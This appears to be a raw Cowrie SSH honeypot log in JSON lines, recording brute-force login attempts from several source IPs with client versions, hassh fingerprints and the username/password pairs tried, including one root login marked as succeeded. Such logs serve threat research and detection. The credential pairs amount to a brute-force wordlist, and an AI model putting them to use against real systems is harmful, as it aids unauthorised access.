,"aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:42:59.788709Z","src_ip":"172.173.117.246","session":"47e5589e99c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:00.008730Z","src_ip":"172.173.117.246","session":"47e5589e99c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:01.052668Z","src_ip":"172.173.117.246","session":"47e5589e99c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":40956,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3c12bfaf06b","protocol":"ssh","message":"New connection: 172.173.117.246:40956 (159.203.135.109:22) [session: c3c12bfaf06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:01.086072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:01.090865Z","src_ip":"172.173.117.246","session":"c3c12bfaf06b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:01.133121Z","src_ip":"172.173.117.246","session":"c3c12bfaf06b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:01.335878Z","src_ip":"172.173.117.246","session":"c3c12bfaf06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:01.375281Z","src_ip":"172.173.117.246","session":"6a692a956f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:01.380794Z","src_ip":"172.173.117.246","session":"c3c12bfaf06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":43732,"dst_ip":"159.203.135.109","dst_port":22,"session":"e094d17618f5","protocol":"ssh","message":"New connection: 45.121.147.48:43732 (159.203.135.109:22) [session: e094d17618f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:40.994603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:40.999205Z","src_ip":"45.121.147.48","session":"e094d17618f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:41.226198Z","src_ip":"45.121.147.48","session":"e094d17618f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ais","password":"Ais123!","message":"login attempt [ais/Ais123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:42.168999Z","src_ip":"45.121.147.48","session":"e094d17618f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:43.398964Z","src_ip":"45.121.147.48","session":"e094d17618f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.214.117.218","src_port":39462,"dst_ip":"159.203.135.109","dst_port":22,"session":"abcb0b37a5cb","protocol":"ssh","message":"New connection: 1.214.117.218:39462 (159.203.135.109:22) [session: abcb0b37a5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:52.410379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:52.414339Z","src_ip":"1.214.117.218","session":"abcb0b37a5cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:52.616838Z","src_ip":"1.214.117.218","session":"abcb0b37a5cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hyun","password":"12345","message":"login attempt [hyun/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:53.463316Z","src_ip":"1.214.117.218","session":"abcb0b37a5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:43:54.669144Z","src_ip":"1.214.117.218","session":"abcb0b37a5cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":34474,"dst_ip":"159.203.135.109","dst_port":22,"session":"1304d11b92c5","protocol":"ssh","message":"New connection: 172.172.196.177:34474 (159.203.135.109:22) [session: 1304d11b92c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:11.184592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:11.188249Z","src_ip":"172.172.196.177","session":"1304d11b92c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:11.199863Z","src_ip":"172.172.196.177","session":"1304d11b92c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"12345678","message":"login attempt [allen/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:11.279837Z","src_ip":"172.172.196.177","session":"1304d11b92c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:12.294150Z","src_ip":"172.172.196.177","session":"1304d11b92c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":43490,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c34bf769657","protocol":"ssh","message":"New connection: 150.95.157.171:43490 (159.203.135.109:22) [session: 3c34bf769657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:24.431545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:24.439023Z","src_ip":"150.95.157.171","session":"3c34bf769657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:24.589208Z","src_ip":"150.95.157.171","session":"3c34bf769657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leon","password":"leon123","message":"login attempt [leon/leon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:25.197179Z","src_ip":"150.95.157.171","session":"3c34bf769657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:44:26.353985Z","src_ip":"150.95.157.171","session":"3c34bf769657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.173.117.246","src_port":51398,"dst_ip":"159.203.135.109","dst_port":22,"session":"af558a0bedbc","protocol":"ssh","message":"New connection: 172.173.117.246:51398 (159.203.135.109:22) [session: af558a0bedbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:05.719243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:05.724922Z","src_ip":"172.173.117.246","session":"af558a0bedbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:05.772477Z","src_ip":"172.173.117.246","session":"af558a0bedbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"search","password":"Search123","message":"login attempt [search/Search123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:05.974604Z","src_ip":"172.173.117.246","session":"af558a0bedbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:07.028753Z","src_ip":"172.173.117.246","session":"af558a0bedbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":51624,"dst_ip":"159.203.135.109","dst_port":22,"session":"4704a9a72b71","protocol":"ssh","message":"New connection: 2.57.122.96:51624 (159.203.135.109:22) [session: 4704a9a72b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:29.039989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:29.044556Z","src_ip":"2.57.122.96","session":"4704a9a72b71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:29.149630Z","src_ip":"2.57.122.96","session":"4704a9a72b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:29.461890Z","src_ip":"2.57.122.96","session":"4704a9a72b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:30.569220Z","src_ip":"2.57.122.96","session":"4704a9a72b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.121.147.48","src_port":51448,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d1d5c652348","protocol":"ssh","message":"New connection: 45.121.147.48:51448 (159.203.135.109:22) [session: 7d1d5c652348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:48.824663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:48.829358Z","src_ip":"45.121.147.48","session":"7d1d5c652348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:49.059763Z","src_ip":"45.121.147.48","session":"7d1d5c652348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beehive","password":"Beehive123","message":"login attempt [beehive/Beehive123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:50.013236Z","src_ip":"45.121.147.48","session":"7d1d5c652348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:45:51.254671Z","src_ip":"45.121.147.48","session":"7d1d5c652348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.172.196.177","src_port":45048,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c34e69960c4","protocol":"ssh","message":"New connection: 172.172.196.177:45048 (159.203.135.109:22) [session: 3c34e69960c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:16.872471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:46:16.876814Z","src_ip":"172.172.196.177","session":"3c34e69960c4","protocol":"ssh"}
